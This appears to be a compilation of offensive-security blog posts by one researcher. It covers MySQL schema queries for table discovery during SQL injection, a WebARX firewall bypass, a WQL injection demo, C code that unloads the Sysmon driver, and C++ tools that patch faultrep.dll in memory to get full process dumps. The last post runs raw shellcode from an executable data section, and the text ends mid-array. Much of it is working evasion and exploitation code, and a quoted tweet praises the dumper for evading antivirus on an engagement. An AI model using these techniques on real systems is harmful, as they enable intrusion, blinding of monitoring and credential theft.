mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.09 sec)

Using these queries, you can get the table file paths stored locally on disk, along with it we can extract the table names.

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\emails.ibd   |
| @@datadir\security\flag.ibd     |
| @@datadir\security\referers.ibd |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\emails.frm   |
| @@datadir\security\flag.frm     |
| @@datadir\security\db.opt       |
+---------------------------------+
11 rows in set (0.22 sec)

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\flag.ibd     |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\flag.frm     |
| @@datadir\security\emails.frm   |
| @@datadir\security\emails.ibd   |
| @@datadir\security\referers.ibd |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\db.opt       |
+---------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

The following tables store the queries used before like a log. You can use regular expressions to find what you need.

mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| query                                                                                                                             |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                                                                                                 |
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `users`                                                                                            |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
+-----------------------------------------------------------------------------------------------------------------------------------+

mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
+-----------------------------------------------------------+
| query                                                     |
+-----------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                         |
| SHOW CREATE TABLE `security` . `emails`                   |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW CREATE TABLE `security` . `referers`                 |
| SELECT * FROM `security` . `users` LIMIT ?                |
| SHOW CREATE TABLE `security` . `uagents`                  |
| SHOW CREATE PROCEDURE `security` . `select_first_column`  |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW OPEN TABLES FROM `security` WHERE `in_use` != ?      |
| SHOW TRIGGERS FROM `security`                             |
| USE `security`                                            |
| USE `security`                                            |
+-----------------------------------------------------------+
12 rows in set (0.01 sec)

Performance_Schema

mysql> SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
+---------------------+
| object_name         |
+---------------------+
| emails              |
| referers            |
| uagents             |
| users               |
| flag                |
| select_first_column |
+---------------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
20 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| flag        |
+-------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

As mentioned before the following contains the log of all typed SQL queries. Sometimes you might find table names. For simplicity, I have used regular expressions to match the current database name.

mysql> SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| digest_text                                                                                                                       |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
| SHOW CREATE PROCEDURE `security` . `select_first_column`                                                                          |
| SHOW CREATE TABLE `security` . `uagents`                                                                                          |
+-----------------------------------------------------------------------------------------------------------------------------------+
17 rows in set (0.00 sec)

Like before we are fetching the local table file paths.

mysql> SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

mysql> SELECT file_name FROM `performance_schema`.`file_summary_by_instance` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

MySQL

mysql> SELECT table_name FROM `mysql`.`innodb_table_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT table_name FROM `mysql`.`innodb_index_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| emails     |
| emails     |
| flag       |
| flag       |
| flag       |
| referers   |
| referers   |
| referers   |
| uagents    |
| uagents    |
| uagents    |
| users      |
| users      |
| users      |
+------------+
15 rows in set (0.00 sec)

Information_Schema

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE CONSTRAINT_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

However, the first column value can be retrieved in this case.

mysql> SELECT COLUMN_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| id          |
| id          |
| id          |
| id          |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`PARTITIONS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

In this table, you can also use the column ‘column_name’ to get the first column of all tables.

mysql> SELECT TABLE_NAME FROM `information_schema`.`STATISTICS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`TABLE_CONSTRAINTS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT file_name FROM `information_schema`.`FILES` where file_name regexp database();
+-------------------------+
| file_name               |
+-------------------------+
| .\security\emails.ibd   |
| .\security\flag.ibd     |
| .\security\referers.ibd |
| .\security\uagents.ibd  |
| .\security\users.ibd    |
+-------------------------+
5 rows in set (0.00 sec)

Starting from MySQL 5.6 InnoDB exists in Information_Schema.

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE` WHERE TABLE_NAME REGEXP  DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE_LRU` WHERE TABLE_NAME REGEXP DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+
5 rows in set (0.06 sec)

mysql> SELECT path FROM  `information_schema`.`INNODB_SYS_DATAFILES` WHERE path REGEXP DATABASE();
+-------------------------+
| path                    |
+-------------------------+
| .\security\users.ibd    |
| .\security\emails.ibd   |
| .\security\uagents.ibd  |
| .\security\referers.ibd |
| .\security\flag.ibd     |
+-------------------------+
5 rows in set (0.00 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESPACES` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/users    |
| security/emails   |
| security/uagents  |
| security/referers |
| security/flag     |
+-------------------+
5 rows in set (0.04 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESTATS` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/emails   |
| security/flag     |
| security/referers |
| security/uagents  |
| security/users    |
+-------------------+
5 rows in set (0.00 sec)

Column Names

Most of the time people ask me if there’s any method to extract column names? You don’t need to know the column names really.

If you have the error displayed you can straightaway get the number of columns using the below first query which makes the query equals to 1 returning us the error. To determine the number of columns in a boolean blind injection scenario you can do this trick which will return 0 (since the values aren’t equal). After that use the below third query to extract data 🙂

I hope these might come handy in your next pentest 🙂

Bypassing the WebARX Web Application Firewall (WAF)

WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html

It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.

Let’s first try on their own website. This is a simple LFi payload.



Now if I include a whitelist string such as ithemes-sync-request it would be easily bypassed.

XSS PoC

Here’s an XSS PoC where we pass a simple script tag. It detects the raw request when we pass normally.

But if we include ithemes-sync-request parameter which is a whitelist string the script tag will get executed.

LFi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

SQLi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

These whitelist strings are more like a kill switch for this firewall. I’m not quite sure the developers of this project understands the logic behind it. It’s more like coded by an amateur programmer for a university assignment.

Thanks for checking it, we also messaged you, but never heard back. Unfortunately for the sake of balancing false negatives, even more advanced WAFs tend to have ways for bypass (especially with XSS). Thanks for your help and we'll definitely work on improvements!

— WebARX (@webarx_security) October 8, 2019

WQL Injection

Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?

I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.

This is the WQL Query.

SELECT * FROM win32_service where Name='User Input'

As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method.

BSTR input = L"SELECT * FROM win32_service where Name='User Input'";

if (FAILED(hRes = pService->ExecQuery(L"WQL", input, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) {
	pLocator->Release();
	pService->Release();
	cout << "Unable to retrive Services: 0x" << std::hex << hRes << endl;
	return 1;
}

IWbemClassObject* clsObj = NULL;
int numElems;
while ((hRes = pEnumerator->Next(WBEM_INFINITE, 1, &clsObj, (ULONG*)&numElems)) != WBEM_S_FALSE) {
	if (FAILED(hRes)) break;
	VARIANT vRet;
	VariantInit(&vRet);
	if (SUCCEEDED(clsObj->Get(L"Name", 0, &vRet, NULL, NULL))
		&& vRet.vt == VT_BSTR) {
		wcout << L"Name: " << vRet.bstrVal << endl;
		VariantClear(&vRet);
}

Once the user enters a service name the application will display its members.

I was thinking if it’s possible to make the query true and return all the services of the target host. Something like id=1 or 1=1 in SQLi where we make the statement logically true.
Since the user input is not properly sanitized in this case we can use the and keyword and enumerate all the services by using the like keyword.

SELECT * FROM win32_service where Name='Appinfo' or name like '[^]%'

You could simply use “%” as well.

This is just a simple demonstration to prove WQL injection. I’m sure there might be better cases to demonstrate this. However, Extended WQL which is a superset of the WQL can be used to combine statements and do more cool stuff. It’s used by the System Center Configuration Manager – SCCM. Always sanitize the input of the application.

You can download the applications from here to play around.
https://github.com/OsandaMalith/WMI/releases/download/1/WinServiceInfo.7z

Unloading the Sysmon Minifilter Driver

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

#include "stdafx.h"
#include <Windows.h>
#include <fltuser.h>
#pragma comment(lib,"FltLib.lib")
/*
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Description: Unloading a minifilter driver by calling the FilterUnload which is the Win32 equivalent of FltUnloadFilter.
It will call the minifilter's FilterUnloadCallback (PFLT_FILTER_UNLOAD_CALLBACK) routine.
In this code we are unloading the "SysmonDrv" minifilter.
You need administrative privs to escalete to SeLoadDriverPrivilege.
*/
typedef NTSTATUS(WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int _tmain(int argc, _TCHAR* argv[]) {
ULONG t;
HRESULT unload;
LPCWSTR driver = L"SysmonDrv";
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
RtlAdjustPrivilege(012, TRUE, FALSE, &t);
unload = FilterUnload(driver);
wprintf(L"%ls", unload == S_OK ?
L"Minifilter Successfully Unloaded" :
L"An Error Occured. Check Privs."
);
return 0;
}

Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.

References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/

MiniDumpWriteDump via Faultrep!CreateMinidump

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.

CreateMinidumpW(DWORD dwProcessId, LPCWSTR lpFileName, struct tagSMDumpOptions *)



This is the call stack

[email protected]
faultrep.dll!InternalGenerateMinidumpEx(void *,unsigned long,void *,struct tagSMDumpOptions *,unsigned short const *,int)	
faultrep.dll!InternalGenerateMinidump(void *,unsigned long,unsigned short const *,struct tagSMDumpOptions *,int)	
faultrep.dll!CreateMinidumpW(unsigned long,unsigned short const *,struct tagSMDumpOptions *)

As you see it calls the dbghelp!MiniDumpWriteDump by loading the dbghelp.dll using the LoadLibraryExW API.

However, this function ‘faultrep.dll!InternalGenerateMinidumpEx’ doesn’t provide a full dump. As you can see it passes 0x21 or it compares the 3rd argument which is a structure and based on that value it passes 0x325.

0x21 = MiniDumpWithDataSegs | MiniDumpWithUnloadedModules	

0x325 = MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithProcessThreadData | MiniDumpWithUnloadedModules

What you could do is, patch it to a 0x2 to make it a ‘MiniDumpWithFullMemory’. You can find the 64-bit version of the patched DLL from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump

This is the PoC of calling this API. You can copy the DLL from Windows XP and it will work fine. Not sure how this is useful. Just sharing what I found 🙂

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
using namespace std;
/*
Title: Faultrep!CreateMinidump to get a full dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE.
Author: Osanda Malith Jayathissa (@OsandaMalith)
Research: https://osandamalith.com/2019/09/08/minidumpwritedump-via-faultrepcreateminidump/
The function CreateMinidump is only available in Windows XP and Windows Server 2003.
*/
typedef int(WINAPI *CreateMinidumpProc)(DWORD, LPCWSTR, struct tagSMDumpOptions *);
typedef NTSTATUS(WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int _tmain(int argc, _TCHAR* argv[]) {
if (argc < 2) {
wcerr << "[~] Usage: " << argv[0] << " Process Name" << endl;
return -1;
}
DWORD PID = 0;
LPCWSTR Name = argv[1];
wstring FileName(Name);
LPCWSTR processName = L"";
ULONG t;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
wcout << "[~] Faultrep!CreateMinidump Undocumented API from Windows XP and Windows Server 2003" << endl;
wcout << "[+] Author: Osanda Malith Jayathissa (@OsandaMalith)" << endl;
wcout << "[+] Website: https://osandamalith.com" << endl;
if (Process32First(snapshot, (PROCESSENTRY32*)&processEntry)) {
while (_wcsicmp(processName, Name) != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
PID = processEntry.th32ProcessID;
}
wcout << "[+] Got " << Name << " PID: " << PID << endl;
}
else wcout << "[-] Process Name Not Found!" << endl;
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
CreateMinidumpProc CreateMinidump = (CreateMinidumpProc)GetProcAddress(LoadLibrary(L"faultrep.dll"), "CreateMinidumpW");
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
CreateMinidump(PID, (LPCWSTR)(FileName + L"_dump.dmp").c_str(), 0);
return 0;
}

UPDATE: I wrote a hot patch for both 32-bit and 64-bit faultrep DLLs. It will allow you to get a full process dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE. Tested on Windows XP 32-bit and 64-bit. On other systems by copying the original DLLs in the same folder will work fine. You can find the repo with DLL files from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump/Hot%20Patch

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
using namespace std;
/*
Title: Faultrep!CreateMinidump Hot Patch to get a full dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE.
Author: Osanda Malith Jayathissa (@OsandaMalith)
Research: https://osandamalith.com/2019/09/08/minidumpwritedump-via-faultrepcreateminidump/
The function CreateMinidump is only available in Windows XP and Windows Server 2003.
If you want to get this working in other Windows systems, copy the DLL from XP or Server 2003 and place it in the same folder.
This DLL has no ASLR enabled and therfore the address are hardcoded.
32-bit Windows XP faultrep.dll = 6945AEBF push 21
32-bit Windows Server 2003 faultrep.dll = 6950BD5E add ecx,21
64-bit Windows XP faultrep.dll = 7FF6E010945 mov r9d,21
*/
typedef int(WINAPI *CreateMinidumpProc)(DWORD, LPCWSTR, struct tagSMDumpOptions *);
typedef NTSTATUS(WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int _tmain(int argc, _TCHAR* argv[]) {
if (argc < 2) {
wcerr << "[~] Usage: " << argv[0] << " Process Name" << endl;
return -1;
}
DWORD PID = 0;
LPCWSTR Name = argv[1];
wstring FileName(Name);
LPCWSTR processName = L"";
ULONG t;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
wcout << "[~] Faultrep!CreateMinidump Undocumented API from Windows XP and Windows Server 2003" << endl;
wcout << "[+] Author: Osanda Malith Jayathissa (@OsandaMalith)" << endl;
wcout << "[+] Website: https://osandamalith.com" << endl;
if (Process32First(snapshot, (PROCESSENTRY32*)&processEntry)) {
while (_wcsicmp(processName, Name) != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
PID = processEntry.th32ProcessID;
}
wcout << "[+] Got " << Name << " PID: " << PID << endl;
}
else wcout << "[-] Process Name Not Found!" << endl;
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
CreateMinidumpProc CreateMinidump = (CreateMinidumpProc)GetProcAddress(LoadLibrary(L"faultrep.dll"), "CreateMinidumpW");
{
#ifndef _WIN64
UCHAR *Patch = (UCHAR*)CreateMinidump + 0x72CC;
//Windows Server 2003
//UCHAR *Patch = (UCHAR*)CreateMinidump + 0x7C51;
#else
UCHAR *Patch = (UCHAR*)CreateMinidump + 0xBF47;
#endif
DWORD old;
VirtualProtect((LPVOID)Patch, sizeof(UCHAR), PAGE_EXECUTE_READWRITE, &old);
*Patch = 0x2; // MiniDumpWithFullMemory
}
wcout << "[+] Dumping" << endl;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
CreateMinidump(PID, (LPCWSTR)(FileName + L"_dump.dmp").c_str(), 0);
return 0;
}

Some uses 😉

I was in an engagement today and tried with success the CreateMinidump_HotPatch of @OsandaMalith in both win2003 x32 and Win10 x64. Especially in Windows 10 Symantec did not complain at all!!! pic.twitter.com/kKS1KqEqpa

— m3g9tr0n (@m3g9tr0n) September 10, 2019

Running Shellcode Directly in C

Here’s a cool thing I figured out in position-independent code. I would rephrase the title as running position-independent code instead of shellcode. Check my previous article Executing Shellcode Directly where I used a minimal PE and pointed the AddressofEntryPoint to the beginning of the PIC.

So the goal is to run shellcode in C without any function pointers or any functions at all, not even a main function 🙂 For example, this is all the code. I declare the variable name as “main”. I am using the Microsoft’s Visual C compiler with no parameters.

char main[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

After compiling it won’t of course run. Why? Well, the initialized data will end up in the “.data” section.



This section has no execute permissions. So let’s add execute permissions and see.

That’s it! the position independent code executes nicely 🙂

Well, this seems a bit of a hassle to change flags each time you want to run shellcode. Let’s tell the linker to give Execute and Write permission to the “.data” section while linking.

/*
* Author: @OsandaMalith
* Website: https://osandamalith.com
*/
#pragma comment(linker,"/SECTION:.data,EW")

char main[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

Another tricky way would be to place the shellcode in the “.rdata” section and merge it with the “.text” section. And of course, you can give Execute permission to the “.rdata” section like we did before and execute as well.

/*
* Author: @OsandaMalith
* Website: https://osandamalith.com
*/
#pragma comment(linker,"/MERGE:.rdata=.text")

char const main[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
